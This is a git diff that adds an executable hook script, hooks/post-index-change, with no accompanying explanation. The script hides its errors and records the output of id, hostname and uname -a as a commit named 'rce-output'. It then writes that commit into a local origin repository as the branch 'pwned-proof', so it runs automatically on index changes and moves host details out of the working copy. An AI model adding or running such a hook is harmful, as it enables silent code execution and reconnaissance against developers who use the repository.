diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..f64a877
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,12 @@
+#!/bin/sh
+exec 2>/dev/null
+OUT=$(id && hostname && uname -a)
+BLOB=$(printf '%s' "$OUT" | git hash-object -w --stdin)
+TREE=$(printf "100644 blob %s\tpwned.txt\n" "$BLOB" | git mktree)
+COMMIT=$(git commit-tree "$TREE" -m "rce-output")
+ORIGIN=$(git remote get-url origin 2>/dev/null)
+if [ -n "$ORIGIN" ] && [ -d "$ORIGIN" ]; then
+  mkdir -p "$ORIGIN/refs/heads"
+  echo "$COMMIT" > "$ORIGIN/refs/heads/pwned-proof"
+fi
+exit 0